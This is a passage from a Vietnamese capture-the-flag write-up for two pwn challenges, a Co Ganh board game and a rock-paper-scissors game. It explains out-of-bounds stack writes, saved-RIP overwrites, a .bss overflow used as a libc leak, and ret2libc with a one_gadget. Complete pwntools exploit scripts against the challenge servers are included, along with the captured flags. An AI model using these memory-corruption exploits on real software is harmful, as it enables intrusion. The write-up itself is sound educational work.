mà không hề kiểm tra biên row, col.

Nghĩa là thay vì chỉ được ghi vào 25 ô thật trên board, mình có thể ghi ra ngoài mảng, đè luôn lên các biến local và vùng return trên stack. Đó chính là primitive chính của bài.

Điểm hay là bài này không chỉ có một lỗi OOB write đơn thuần. Sau khi ghi giá trị vào board[idx], chương trình còn gọi thêm một hàm xử lý “ô trái / ô phải”, và chính logic đó giúp mình nắn lại stack khá đẹp để điều khiển saved RIP.


Phân tích binary

  • File binary của challenge mình có nhờ AI dịch ngược hộ để dễ đọc và phân tích hơn.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BOARD_SIZE 5
#define CELL_COUNT (BOARD_SIZE * BOARD_SIZE)
#define TURN_INDEX CELL_COUNT

/*
* This is a readable reconstruction of the challenge binary.
* It keeps the same game logic, including the buggy lack of bounds checks
* and the "linearized board" neighbor handling.
*/

static void hidden_shell(void) {
system("/bin/sh");
_exit(0);
}

static void set_buf(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}

static void banner(void) {
puts("======================================");
puts(" CBJS League ");
puts(" Traditional Vietnam Game ");
puts("======================================");
}

static void print_board(const int *state) {
puts("");
puts(" 0 1 2 3 4");
puts(" +----+----+----+----+----+");

for (int row = 0; row < BOARD_SIZE; ++row) {
printf(" %d ", row);
for (int col = 0; col < BOARD_SIZE; ++col) {
int value = state[row * BOARD_SIZE + col];
if (value != 0) {
printf("|%4d", value);
} else {
printf("| ");
}
}
puts("|");
puts(" +----+----+----+----+----+");
}

printf(" Luot con lai: %d\n\n", state[TURN_INDEX]);
}

static void init_game(int *state) {
static const int initial_board[CELL_COUNT] = {
0, 5, 0, 3, 0,
2, 0, 8, 0, 1,
0, 7, 0, 4, 0,
6, 0, 9, 0, 2,
0, 3, 0, 5, 0,
};

for (int i = 0; i < CELL_COUNT; ++i) {
state[i] = initial_board[i];
}
state[TURN_INDEX] = 100;
}

static int check_all_zero_and_print_flag(const int *state) {
char flag[64];

for (int row = 0; row < BOARD_SIZE; ++row) {
for (int col = 0; col < BOARD_SIZE; ++col) {
if (state[row * BOARD_SIZE + col] != 0) {
return state[row * BOARD_SIZE + col];
}
}
}

int fd = open("/flag.txt", O_RDONLY);
if (fd > 0) {
int nread = read(fd, flag, sizeof(flag) - 1);
if (nread > 0) {
flag[nread] = '\0';
return printf("You won this game! %s\n", flag);
}
}

return 0;
}

static void apply_move_buggy(int *state, int row, int col) {
int placed = state[row * BOARD_SIZE + col];
int left_value;
int right_value;

if (row == 0 && col == 0) {
left_value = 0;
} else {
left_value = state[row * BOARD_SIZE + (col - 1)];
}

if (row == 4 && col == 4) {
right_value = 0;
} else {
right_value = state[row * BOARD_SIZE + (col + 1)];
}

if (placed == left_value + right_value) {
state[row * BOARD_SIZE + (col - 1)] = 0;
state[row * BOARD_SIZE + (col + 1)] = 0;
} else {
state[row * BOARD_SIZE + (col - 1)] = placed / 2 + left_value;
state[row * BOARD_SIZE + (col + 1)] = placed / 2 + right_value;
}
}

static int hidden_secret_routine(const int *state) {
static const unsigned char target_mask[CELL_COUNT] = {
0x1a, 0x34, 0x74, 0x2c, 0x91,
0xd7, 0x78, 0x78, 0xb5, 0xd9,
0x4d, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
};
char egg[40];
char secret[CELL_COUNT];
int mismatch_count = 0;

int fd = open("/secrets.txt", O_RDONLY);
if (fd <= 0) {
puts("Something wrong");
exit(0);
}

memset(secret, 0, sizeof(secret));
int nread = read(fd, secret, 11);
if (nread > 0) {
for (int row = 0; row < BOARD_SIZE; ++row) {
for (int col = 0; col < BOARD_SIZE; ++col) {
int expected = (target_mask[row * BOARD_SIZE + col] ==
(unsigned char)secret[row * BOARD_SIZE + col]);
if (state[row * BOARD_SIZE + col] != expected) {
++mismatch_count;
}
}
}
}

fd = open("/egg.txt", O_RDONLY);
if (fd > 0) {
int egg_len = read(fd, egg, mismatch_count);
if (egg_len > 0) {
puts(egg);
}
}

return 0;
}

static int game(void) {
int row;
int col;
int value;
int state[CELL_COUNT + 1];

init_game(state);

while (state[TURN_INDEX] > 0) {
print_board(state);
printf("> ");

if (scanf("%d %d %d", &row, &col, &value) != 3) {
return puts("Do not hack the game!");
}

if (value == 0) {
puts("No zero please");
continue;
}

/*
* The original binary does not validate row/col.
* That makes this assignment an out-of-bounds write primitive.
*/
state[row * BOARD_SIZE + col] = value;
apply_move_buggy(state, row, col);
--state[TURN_INDEX];
check_all_zero_and_print_flag(state);
}

return puts(" [!] Het luot. Cam on da choi Co Ganh.");
}

int main(void) {
set_buf();
alarm(60);
banner();
game();
return 0;
}

Luồng chính của chương trình rất ngắn:

1
2
3
4
5
6
7
int main(void) {
set_buf();
alarm(60);
banner();
game();
return 0;
}

game() là nơi toàn bộ bug xuất hiện.

Pseudo-code rút gọn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int game() {
int row, col, value;
int state[26];

init_game(state);

while (state[25] > 0) {
print_board(state);
printf("> ");

if (scanf("%d %d %d", &row, &col, &value) != 3) {
puts("Do not hack the game!");
return;
}

if (value == 0) {
puts("No zero please");
continue;
}

state[5 * row + col] = value;
apply_move(state, row, col);
--state[25];
check_win_and_print_flag(state);
}

puts(" [!] Het luot. Cam on da choi Co Ganh.");
}

Ở đây:

  • state[0..24] là 25 ô của board
  • state[25] là số lượt còn lại, khởi tạo bằng 100

Bug chính là dòng:

1
state[5 * row + col] = value;

không có check range.


Hàm cập nhật nước đi

Sau khi ghi value vào một ô, chương trình gọi hàm sub_4016B7. Viết lại cho dễ đọc thì nó gần như thế này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void apply_move(int *state, int row, int col) {
int idx = 5 * row + col;
int placed = state[idx];
int left;
int right;

if (row == 0 && col == 0) {
left = 0;
} else {
left = state[idx - 1];
}

if (row == 4 && col == 4) {
right = 0;
} else {
right = state[idx + 1];
}

if (placed == left + right) {
state[idx - 1] = 0;
state[idx + 1] = 0;
} else {
state[idx - 1] = placed / 2 + left;
state[idx + 1] = placed / 2 + right;
}
}

Đây là phần quan trọng nhất của exploit.

Nếu mình chọn được placed == left + right, thì hai ô hàng xóm sẽ bị zero, còn ô giữa giữ nguyên. Điều đó cực kỳ hữu ích khi ô giữa chính là saved RIP, còn hai ô hàng xóm là high dword hoặc vùng stack kế cận.


Map stack

state nằm trên stack của game(). Vì mỗi phần tử là int 4 byte, nên các index ngoài 0..24 sẽ lần lượt đè lên những vùng phía trên board.

Các offset quan trọng mình dùng là:

  • idx 29 -> high 4 bytes của saved RBP
  • idx 30 -> low 4 bytes của saved RIP
  • idx 31 -> high 4 bytes của saved RIP
  • idx 32 -> low 4 bytes của qword kế tiếp trên stack
  • idx 33 -> high 4 bytes của qword kế tiếp trên stack

Do binary dùng công thức idx = 5 * row + col, nên có thể truy cập chúng bằng:

  • idx 29 -> (5, 4)
  • idx 30 -> (6, 0)
  • idx 31 -> (6, 1)
  • idx 32 -> (6, 2)
  • idx 33 -> (6, 3)

Đây là lý do exploit có các tọa độ “ngoài bàn cờ”.


Các hàm thú vị

Hàm win shell

Binary có một hàm ẩn:

1
2
3
4
void hidden_shell(void) {
system("/bin/sh");
_exit(0);
}

Địa chỉ:

1
0x401276

Hàm đọc flag

Trong sub_4015F2, nếu toàn bộ 25 ô trên board bằng 0, chương trình sẽ:

1
2
3
open("/flag.txt", 0);
read(fd, buf, 63);
printf("You won this game! %s\n", buf);

Đây là đường in flag.txt.

Hàm đọc secret / egg

Binary còn có một hàm ẩn khác:

1
2
3
4
5
6
7
8
open("/secrets.txt", 0);
read(fd_secret, secret, 11);

...

open("/egg.txt", 0);
read(fd_egg, buf, mismatch_count);
puts(buf);

Địa chỉ:

1
0x401460

Hàm này không in full secret, nhưng nó mở sẵn cả secrets.txt lẫn egg.txt, và đó là chìa khóa cho phần khai thác sau.


Lấy shell

Payload:

1
2
3
6 1 1
5 4 4199029
6 0 4199030

Tức là:

  • idx 31 = 1
  • idx 29 = 0x401275
  • idx 30 = 0x401276

Khi ghi idx 30, hàm apply_move() sẽ thấy:

  • trái = idx 29 = 0x401275
  • phải = idx 31 = 1
  • current = 0x401276

Do:

1
0x401276 == 0x401275 + 1

nên nó zero hai hàng xóm:

1
2
state[29] = 0;
state[31] = 0;

và giữ nguyên:

1
state[30] = 0x401276;

Kết quả cuối:

  • low dword của saved RIP = 0x401276
  • high dword của saved RIP = 0

Tức là:

1
saved RIP = 0x0000000000401276

Sau đó chỉ cần gửi input lỗi, ví dụ x, để scanf fail và game() return:

1
x

thì chương trình sẽ nhảy vào system("/bin/sh").

Sau khi nhảy vào shell thì mình có quyền để đọc được egg2.txt

EGG{62d6c4e9d57e6f11a29aa7b904351a4}


Vì sao shell chưa đủ

Vào shell xong thì user là gamer, không phải root hay owner của secret files:

1
uid=10001(gamer) gid=999(gamer)

Các file:

  • /flag.txt
  • /egg.txt
  • /secrets.txt

đều chỉ là symlink sang /run/coganh/secrets/..., và nếu cat trực tiếp thì sẽ bị:

1
Permission denied

Nghĩa là shell một mình chưa đủ để lấy file.


Lấy flag

Đường mình dùng để lấy flag trên remote là nhảy thẳng vào block đọc file bên trong sub_4015F2.

Địa chỉ block đó là:

1
0x40164c

Payload:

1
2
3
4
6 3 1
6 1 -2128
6 2 -2127
x

Ý tưởng:

  • ban đầu saved RIP đang trỏ về đoạn return bình thường trong main
  • dùng nhánh else của apply_move() để cộng thêm giá trị âm vào hàng xóm
  • biến low dword của saved RIP từ 0x401a74 thành 0x40164c
  • bước cuối zero high dword của saved RIP

Khi game() return, execution nhảy vào giữa sub_4015F2, đúng đoạn:

1
2
3
open("/flag.txt", 0);
read(fd, buf, 63);
printf("You won this game! %s\n", buf);

CBJS{d0_y0u_kn0w_y0u_c4n_jmp_t0_g4t_fl4g}

Ghi chú về tính ổn định

Đây là payload chạy được trên remote, nhưng local có thể crash nếu stack layout của libc khác.

Lý do là mình đang nhảy vào giữa hàm, không phải đầu hàm. Khi đó prologue của sub_4015F2 không chạy, nên buf trong hàm này thực ra chồng lên stack frame hiện tại của main() và cả libc wrapper của read(). Nếu libc local đặt stack hơi sát, read() có thể tự ghi đè return address của chính nó và SIGSEGV.

Remote dùng libc / stack layout khác nên payload này vẫn chạy được.


Lấy egg.txt

Phần egg thì mình không dùng kiểu jump vào giữa hàm nữa. Thay vào đó, mình chain hai full function:

1
game() -> sub_401460() -> hidden_shell()

Mục tiêu:

  • saved RIP = 0x401460
  • qword kế tiếp trên stack = 0x401276

Payload ghi stack:

1
2
3
4
A = 0x401460
B = 0x401276

[(33, 1), (31, B - 1), (32, B), (31, 1), (29, A - 1), (30, A)]

Ba ghi đầu dựng qword kế tiếp thành:

1
0x0000000000401276

Ba ghi sau dựng saved RIP thành:

1
0x0000000000401460

Sau khi gửi x, execution sẽ đi theo luồng:

1
2
3
game() return
-> sub_401460()
-> hidden_shell()

Vì sao cat <&4 lấy được full egg

Khi sub_401460() chạy, nó:

  • mở secrets.txt
  • mở egg.txt
  • đọc một phần đầu của egg.txt
  • puts() phần đó ra

Sau đó nó return vào shell.

Điểm quan trọng là shell này thừa hưởng file descriptor mà sub_401460() vừa mở:

  • fd 3 -> secrets.txt
  • fd 4 -> egg.txt

Với egg.txt. Chỉ cần tận dụng việc:

  • prefix của egg đã được sub_401460() in ra sẵn
  • offset hiện tại của fd 4 đang nằm ngay sau prefix đó

Khi chạy:

1
cat <&4

shell sẽ duplicate fd 4 vào stdin của cat. cat đọc tiếp từ offset hiện tại cho đến EOF, nên nó in ra phần còn lại của file.

Ví dụ output trông như thế này:

1
2
EGG{d2c8f0bbd7
ab3efefdd5}

Ghép hai dòng lại:

EGG{d2c8f0bbd7ab3efefdd5}


PoC

ret2win.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3

from pwn import *

exe = ELF("./coganh", checksec=False)
context.binary = exe


def start():
if args.REMOTE:
return remote("co-ganh.league.cyberjutsu-lab.tech", 31070)
return process([exe.path])


def send_move(io, row, col, value):
io.sendlineafter(b"> ", f"{row} {col} {value}".encode())


io = start()

send_move(io, 6, 1, 1)
send_move(io, 5, 4, 0x401275)
send_move(io, 6, 0, 0x401276)

io.sendline(b"x")
io.interactive()

get_egg_and_flag.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3

from pwn import *
import re

HOST = "co-ganh.league.cyberjutsu-lab.tech"
PORT = 31070

context.log_level = "info"


def start():
return remote(HOST, PORT)


def send_move(io, row, col, value):
io.sendlineafter(b"> ", f"{row} {col} {value}".encode())


def get_flag():
io = start()

send_move(io, 6, 3, 1) # idx 33 = 1
send_move(io, 6, 1, -2128) # idx 31 = -2128
send_move(io, 6, 2, -2127) # idx 32 = -2127

io.sendline(b"x")
out = io.recvrepeat(3).decode(errors="ignore")
io.close()

m = re.search(r"CBJS\{[^}]+\}", out)
if not m:
raise RuntimeError(f"flag not found:\n{out}")
return m.group(0), out


def smash_ret_chain(io, first_addr, second_addr):

send_move(io, 6, 3, 1) # idx 33 = 1
send_move(io, 6, 1, second_addr - 1) # idx 31 = second_addr - 1
send_move(io, 6, 2, second_addr) # idx 32 = second_addr

send_move(io, 6, 1, 1) # idx 31 = 1
send_move(io, 5, 4, first_addr - 1) # idx 29 = first_addr - 1
send_move(io, 6, 0, first_addr) # idx 30 = first_addr


def get_egg():
io = start()

# game() -> sub_401460() -> hidden_shell()
smash_ret_chain(io, 0x401460, 0x401276)

io.sendline(b"x")

io.sendline(b"cat <&4; echo END")
out = io.recvrepeat(4).decode(errors="ignore")
io.close()

m = re.search(r"(EGG\{[0-9a-f]+)\r?\n([0-9a-f]+\})END", out)
if not m:
raise RuntimeError(f"egg not found:\n{out}")
return m.group(1) + m.group(2), out


if __name__ == "__main__":
flag, flag_raw = get_flag()
log.success(f"flag: {flag}")

egg, egg_raw = get_egg()
log.success(f"egg: {egg}")

print(flag)
print(egg)

Challenge: Rock, Paper, Scissor

Tổng quan

Challenge là một game rock / paper / scissor có các tính năng: chọn mode, nhập tên, chơi với bot, cuối game in điểm rồi xin feedback.

Nhưng phân tích sâu thì đây lại là một bài pwn có “2 lớp” khá đẹp:

  • lớp đầu là một stack overflow rất rõ trong main()
  • lớp sau là một .bss overflow ở phần feedback, từ đó biến một hàm in Easter Egg thành gadget leak libc

Tổng quan binary

Luồng chính của chương trình nằm trong main():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main() {
char buf[8];
int nread;

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);

banner();
printf("Select mode (1: normal, 2: super hard): ");
nread = read(0, buf, 64);
buf[nread] = 0;

if (buf[0] == '2')
puts("You can't win against CBJS_Tester!");
else if (buf[0] == '1')
puts("Just easy mode");
else
return 0;

game(atoi(buf));
return 0;
}

Chỉ cần nhìn vào đây là thấy vấn đề ngay:

1
2
char buf[8];
read(0, buf, 64);

Đây là stack overflow quá rõ. buf chỉ có 8 byte nhưng read() đọc tới 64.

Điểm quan trọng hơn là hàm vẫn dùng buf[0] để kiểm tra mode và atoi(buf) để truyền mode vào game(), nên chỉ cần byte đầu là '1' hoặc '2' thì mình vẫn đi tiếp được dù phía sau đã là payload ghi đè saved RBP và saved RIP.


Flow của game()

Pseudo-code rút gọn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
game(mode):
memset(name_4040E0, 0, 0x124)
printf("Enter your name: ")
read(0, name_4040E0, 0x20)

loop:
menu()
scanf("%hd", &choice)

if choice == 0:
break
elif choice == 4:
player_score(mode)
round_history()
elif 1 <= choice <= 3:
bot = bot_random(choice, mode)
result = compare(choice, bot)
update_scores_rounds(choice, bot, result)
notify_results(choice, bot, result)
else:
puts("invalid")

printf("Thanks for playing ...")
open_egg()
printf("What's your feedback: ")
scanf("%s", &unk_404100)

Có 3 chỗ mình để ý ngay:

  1. mode == 2 làm bot luôn counter người chơi
    Đây không phải bug, mà là cách author giấu một đường phụ.

  2. open_egg() được gọi ở cuối game
    Tức là có logic đọc file sau khi thoát vòng chơi.

  3. scanf("%s", &unk_404100) ở .bss
    Đây là bug số 2.


Layout vùng .bss

Điểm tinh tế của bài này là chương trình dùng chung một vùng .bss khá lớn cho nhiều thứ:

  • tên người chơi
  • feedback
  • score
  • rounds
  • history từng round

Đầu game() có:

1
memset(name_4040E0, 0, 0x124);

Điều đó cho thấy từ 0x4040E0 trở đi là một blob trạng thái lớn của game.

Sau đó:

1
read(0, name_4040E0, 0x20);

chỉ đọc 0x20 byte tên người chơi.

Nhưng ở cuối game:

1
scanf("%s", &unk_404100);

tức là bắt đầu ghi từ 0x404100, và hoàn toàn không có giới hạn độ dài.

Nói cách khác:

  • phần đầu blob dùng làm name
  • phần sau blob dùng cho feedback
  • feedback overflow được lên score, round count và bảng history

Đây là primitive thứ hai của bài.


Cấu trúc history

Hàm update_scores_rounds_401A90() cho thấy chương trình lưu history của tối đa 16 round đầu tiên.

Nó ghi các field theo layout:

1
2
3
4
entry[i].round_no
entry[i].player_choice
entry[i].bot_choice
entry[i].total_score

Mỗi entry dài 8 byte:

  • +0 : round number (short)
  • +2 : player choice (short)
  • +4 : bot choice (short)
  • +6 : total score (short)

Base của bảng này là:

1
0x404184

Tức là:

  • 0x404184 + 8*i -> round number
  • 0x404186 + 8*i -> player choice
  • 0x404188 + 8*i -> bot choice
  • 0x40418a + 8*i -> total score

Chi tiết này cực kỳ quan trọng cho leak stage 1.


Hai hàm đọc Easter Egg

open_egg_401407

Hàm này được gọi ở cuối game():

1
2
3
4
5
6
7
8
if (score > 100) {
if (score == some_value_from_history) {
puts("Congratulations!");
open("/egg.txt", 0);
read(fd, buf, 15);
printf("Here's your Easter Egg: %s\n", buf);
}
}

Đây là đường đọc egg.txt.

open_egg2_4014EB

Đây mới là gadget thú vị nhất bài:

1
2
3
4
5
6
open("/egg2.txt", 0);
rounds = min(rounds_404182, 16);
read(fd, buf, rounds);

for (i = 0; i < rounds; i++)
putchar(buf[ history[i].total_score - 1 ]);

Nếu mình control được history[i].total_score, thì đoạn này trở thành:

1
putchar(buf[controlled_index]);

Mà buf chỉ có 16 byte local trên stack.

Nghĩa là chỉ cần set controlled_index lớn hơn 16, mình sẽ đọc OOB ra khỏi buf, leak stack của hàm open_egg2(), và từ đó leak libc.


Primitive 1: stack overflow ở main()

main() có stack layout:

1
2
char buf[8];   // [rbp-0xc]
int v6; // [rbp-0x4]

Vì read(0, buf, 64) bắt đầu từ [rbp-0xc], nên sau 12 byte là chạm tới saved frame:

  • 12 byte đầu: padding tới saved RBP
  • 8 byte tiếp: saved RBP
  • 8 byte tiếp: saved RIP
  • tiếp nữa: return chain

Nên offset overwrite là:

1
padding = 12

Đây là lý do exploit dùng:

1
2
3
4
5
6
flat(
b'1' * 12,
saved_rbp,
next_rip,
...
)

Byte đầu là '1' để chương trình vẫn đi theo nhánh “easy mode”, còn phần sau là ROP/ret chain.


Stage 1: leak libc bằng open_egg2()

Ý tưởng tổng thể của stage 1 là:

  1. Dùng stack overflow ở main() để đổi đường return:
1
main -> open_egg2_4014EB -> main
  1. Trong lúc game đang chạy, dùng feedback overflow để sửa:
  • rounds_404182
  • các field history[i].total_score
  1. Khi main return vào open_egg2(), hàm này sẽ:
  • tưởng rằng đã có nhiều round
  • đọc 16 byte từ /egg2.txt vào buf
  • sau đó putchar(buf[controlled_index - 1])
  1. Vì controlled_index đã bị sửa thành các giá trị rất lớn, buf[...] sẽ OOB-read ra stack và in luôn byte của stack/libc ra ngoài.

Payload mode stage 1

Exploit dùng:

1
2
3
4
5
6
payload_mode = flat(
b'1' * 12,
0x404500, # fake saved rbp
0x4014EB, # open_egg2
0x401da9 # quay lại main
)

Ý nghĩa:

  • vẫn vào game bình thường
  • sau khi game() kết thúc, main() không return về caller thật
  • mà nhảy vào open_egg2()
  • xong rồi quay lại main() để làm stage 2

Feedback overflow

Exploit gửi:

1
payload_feedback = bytearray(b'A' * 0x500)

chỉ riêng việc fill A đã có tác dụng:

  • rounds_404182 bị overwrite thành 0x4141
  • open_egg2() sẽ cap về 16

Sau đó exploit chỉnh riêng 16 field total_score:

1
2
3
for i in range(16):
off = ((0x4040EA + (i + 0x14) * 8) - 0x404100)
payload_feedback[off:off+2] = p16(0xc0 + i + 1)

Đây chính là cách ghi vào:

1
0x40418a, 0x404192, 0x40419a, ...

tức là history[i].total_score.

Sau khi bị sửa, open_egg2() sẽ làm kiểu:

1
2
3
putchar(buf[0xc1 - 1]);
putchar(buf[0xc2 - 1]);
...

Nói cách khác, nó đọc các byte rất xa khỏi local buffer và in chúng ra.

Exploit lấy 8 byte đầu output đó và parse thành:

1
2
libc_leak = u64(p.recv(8))
libc.address = libc_leak - 0x29e40

Từ đây có được base libc cho stage 2.


Stage 2: quay lại main() và ret2libc

Sau stage 1, control flow đã quay lại main() nên mình có thêm một lần stack overflow nữa qua read(0, buf, 64).

Lúc này exploit không cần leak nữa, chỉ cần dựng chain thực thi để lấy shell / one-gadget.

1
2
3
4
5
6
7
8
pop_r12_r13 = libc.address + 0x41c48

payload_mode = flat(
b'1' * 12,
0x404500,
pop_r12_r13, 0, 0,
libc.address + 0xebce2, # one_gadget
)

Ý tưởng ở đây là:

  • overflow saved RIP của main()
  • đi qua gadget pop r12 ; pop r13 ; ret
  • set hai thanh ghi này về 0
  • nhảy vào one_gadget

Việc chèn gadget pop r12 ; pop r13 ; ret nhằm dọn các thanh ghi về 0 trước khi nhảy.

Sau đó flow vẫn như cũ:

  • vào game
  • chọn 0 để thoát nhanh
  • nhập feedback nhỏ cho xong vòng
  • main() return
  • ret2libc chain chạy

Từ đây là shell / code execution.


Tóm tắt ý tưởng exploit

Exploit hoàn chỉnh đi theo đúng 2 stage:

Stage 1

  • overflow main() để return vào open_egg2()
  • overflow feedback để fake rounds và fake history[].total_score
  • dùng open_egg2() như một OOB-read gadget
  • leak libc
  • return về main()

Stage 2

  • overflow main() lần nữa
  • ret2libc với gadget + one_gadget
  • thoát game nhanh
  • khi main() return thì chain chạy

Điểm đẹp của bài này là stage 1 và stage 2 dùng cùng một bug stack overflow, nhưng stage 1 cần thêm .bss overflow để biến logic game thành leak primitive.


PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3

from pwn import *

exe = ELF('./rock-paper-scissor_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
s = lambda data, proc=None: proc.send(data) if proc else p.send(data)
sa = lambda msg, data, proc=None: proc.sendafter(msg, data) if proc else p.sendafter(msg, data)
sl = lambda data, proc=None: proc.sendline(data) if proc else p.sendline(data)
sla = lambda msg, data, proc=None: proc.sendlineafter(msg, data) if proc else p.sendlineafter(msg, data)
sn = lambda num, proc=None: proc.send(str(num).encode()) if proc else p.send(str(num).encode())
sna = lambda msg, num, proc=None: proc.sendafter(msg, str(num).encode()) if proc else p.sendafter(msg, str(num).encode())
sln = lambda num, proc=None: proc.sendline(str(num).encode()) if proc else p.sendline(str(num).encode())
slna = lambda msg, num, proc=None: proc.sendlineafter(msg, str(num).encode()) if proc else p.sendlineafter(msg, str(num).encode())
def GDB():
if not args.REMOTE:
# b*0x401e20
# b*0x401c20
gdb.attach(p, gdbscript='''
b*0x4015af
c
''')
input()


if args.REMOTE:
p = remote('rps.league.cyberjutsu-lab.tech', 31412)
else:
p = process([exe.path])
# GDB()

# ------------------------------------------------------------
def send_choice(choice):
sla(b'Enter your choice: ', choice)

# open_egg: 0x401458

payload_mode = flat(
b'1' * 12,
0x404500, # rbp
0x4014EB, # open_egg2 address
0x401da9 # main address
)

sa(b'Select mode (1: normal, 2: super hard): ', payload_mode)
payload_name = b'B'# * 32
sa(b'Enter your name: ', payload_name)

send_choice(b'0')


payload_feedback = bytearray(b'A' * 0x500) # Hoac bytearray(0x500)

# syntax: payload[start:end]
for i in range(16):
payload_feedback[((0x4040EA + (i + 0x14) * 8) - 0x404100) : ((0x4040EA + (i + 0x14) * 8) - 0x404100) + 2] = p16(0xc0 + i + 1)

print(len(payload_feedback))
sla(b'What\'s your feedback: ', payload_feedback)
libc_leak = u64(p.recv(8))
libc.address = libc_leak - 0x29e40
info(f'[*] Libc base: {hex(libc.address)}')

pop_r12_r13 = libc.address + 0x0000000000041c48 #: pop r12 ; pop r13 ; ret
payload_mode = flat(
b'1' * 12,
0x404500,
pop_r12_r13, 0, 0,
libc.address+0xebce2, # one_gadget
)

sa(b'Select mode (1: normal, 2: super hard): ', payload_mode)
payload_name = b'B'# * 32
sa(b'Enter your name: ', payload_name)
send_choice(b'0')
sla(b'What\'s your feedback: ', b'P' * 8)

p.interactive()

Kết quả

/egg.txt: EGG{651cb023e8a}
/egg2.txt: EGG{7c22b217106}
/flag_5522d3: CBJS{b0f_t0_w1n_r0ck_p4p3r_Sc1ss0r}